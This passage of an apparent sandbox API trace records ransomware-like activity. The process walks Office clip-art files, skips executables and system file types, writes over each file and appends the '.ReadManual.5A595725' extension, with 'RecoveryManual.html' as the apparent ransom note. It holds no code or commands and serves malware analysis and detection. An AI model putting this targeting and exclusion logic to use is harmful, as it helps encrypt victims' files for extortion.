lpPerformanceCount=0x434fd90*=38817562105) returned 1 [0267.507] CloseHandle (hObject=0x184) returned 1 [0267.507] SetSecurityInfo () returned 0x57 [0267.507] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.507] CloseHandle (hObject=0x194) returned 1 [0267.507] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1 [0267.507] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0178632.JPG" | out: lpString1="J0178632.JPG") returned="J0178632.JPG" [0267.507] lstrcmpiW (lpString1="J0178632.JPG", lpString2="RecoveryManual.html") returned -1 [0267.507] StrStrIW (lpFirst="J0178632.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.507] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.507] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.507] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.507] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.507] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.507] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.507] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.508] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.508] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.508] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.508] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.508] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.508] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.508] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.508] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" [0267.508] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.ReadManual.5A595725" [0267.508] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.ReadManual.5A595725") returned 87 [0267.508] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38817657235) returned 1 [0267.508] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg")) returned 0x20 [0267.508] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.508] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23338) returned 1 [0267.508] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b2a, lpName=0x0) returned 0x184 [0267.508] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.509] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.509] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.511] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.511] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b2a) returned 0x2f0000 [0267.512] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.512] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38818065472) returned 1 [0267.512] CloseHandle (hObject=0x184) returned 1 [0267.512] SetSecurityInfo () returned 0x57 [0267.512] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.512] CloseHandle (hObject=0x194) returned 1 [0267.512] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1 [0267.512] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0178639.JPG" | out: lpString1="J0178639.JPG") returned="J0178639.JPG" [0267.512] lstrcmpiW (lpString1="J0178639.JPG", lpString2="RecoveryManual.html") returned -1 [0267.512] StrStrIW (lpFirst="J0178639.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.512] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.512] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.512] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.512] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.512] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.512] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.512] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.513] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.513] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.513] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.513] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.513] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.513] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.513] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.513] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" [0267.513] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.ReadManual.5A595725" [0267.513] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.ReadManual.5A595725") returned 87 [0267.513] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38818161694) returned 1 [0267.513] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg")) returned 0x20 [0267.513] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.513] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32038) returned 1 [0267.513] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d26, lpName=0x0) returned 0x184 [0267.513] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.514] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.514] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.516] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.517] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d26) returned 0x2f0000 [0267.517] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.517] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38818587918) returned 1 [0267.517] CloseHandle (hObject=0x184) returned 1 [0267.517] SetSecurityInfo () returned 0x57 [0267.517] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.517] CloseHandle (hObject=0x194) returned 1 [0267.517] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1 [0267.517] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0178932.JPG" | out: lpString1="J0178932.JPG") returned="J0178932.JPG" [0267.517] lstrcmpiW (lpString1="J0178932.JPG", lpString2="RecoveryManual.html") returned -1 [0267.518] StrStrIW (lpFirst="J0178932.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.518] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.518] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.518] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.518] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.518] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.518] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.518] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.518] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.518] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.518] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.518] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.518] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.518] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.518] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.518] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" [0267.518] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.ReadManual.5A595725" [0267.518] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.ReadManual.5A595725") returned 87 [0267.518] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38818682623) returned 1 [0267.518] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg")) returned 0x20 [0267.519] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.519] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=35340) returned 1 [0267.519] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a0c, lpName=0x0) returned 0x184 [0267.519] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.520] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.520] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.522] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.522] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a0c) returned 0x2f0000 [0267.525] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.525] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38819402511) returned 1 [0267.525] CloseHandle (hObject=0x184) returned 1 [0267.525] SetSecurityInfo () returned 0x57 [0267.525] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.525] CloseHandle (hObject=0x194) returned 1 [0267.526] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1 [0267.526] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0179963.JPG" | out: lpString1="J0179963.JPG") returned="J0179963.JPG" [0267.526] lstrcmpiW (lpString1="J0179963.JPG", lpString2="RecoveryManual.html") returned -1 [0267.526] StrStrIW (lpFirst="J0179963.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.526] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.526] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.526] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.526] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.526] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.526] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.526] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.526] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.526] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.526] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.526] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.526] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.526] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.526] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.526] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" [0267.526] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.ReadManual.5A595725" [0267.526] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.ReadManual.5A595725") returned 87 [0267.526] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38819496344) returned 1 [0267.526] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg")) returned 0x20 [0267.527] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.527] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32110) returned 1 [0267.527] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d6e, lpName=0x0) returned 0x184 [0267.527] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.528] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.528] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.530] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.530] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d6e) returned 0x2f0000 [0267.530] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.531] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38819937403) returned 1 [0267.531] CloseHandle (hObject=0x184) returned 1 [0267.531] SetSecurityInfo () returned 0x57 [0267.531] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.531] CloseHandle (hObject=0x194) returned 1 [0267.531] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1 [0267.531] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0182689.JPG" | out: lpString1="J0182689.JPG") returned="J0182689.JPG" [0267.531] lstrcmpiW (lpString1="J0182689.JPG", lpString2="RecoveryManual.html") returned -1 [0267.531] StrStrIW (lpFirst="J0182689.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.531] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.531] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.531] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.531] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.531] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.531] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.531] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.531] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.531] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.531] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.531] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.531] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.531] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.531] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.531] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" [0267.531] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.ReadManual.5A595725" [0267.532] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.ReadManual.5A595725") returned 87 [0267.532] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38820032655) returned 1 [0267.532] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg")) returned 0x20 [0267.532] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.533] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16615) returned 1 [0267.533] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40e7, lpName=0x0) returned 0x184 [0267.533] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.534] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.534] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.535] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.535] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40e7) returned 0x2f0000 [0267.536] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.536] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38820448725) returned 1 [0267.536] CloseHandle (hObject=0x184) returned 1 [0267.536] SetSecurityInfo () returned 0x57 [0267.536] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.536] CloseHandle (hObject=0x194) returned 1 [0267.536] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1 [0267.536] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0182888.WMF" | out: lpString1="J0182888.WMF") returned="J0182888.WMF" [0267.536] lstrcmpiW (lpString1="J0182888.WMF", lpString2="RecoveryManual.html") returned -1 [0267.536] StrStrIW (lpFirst="J0182888.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.536] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="ps1") 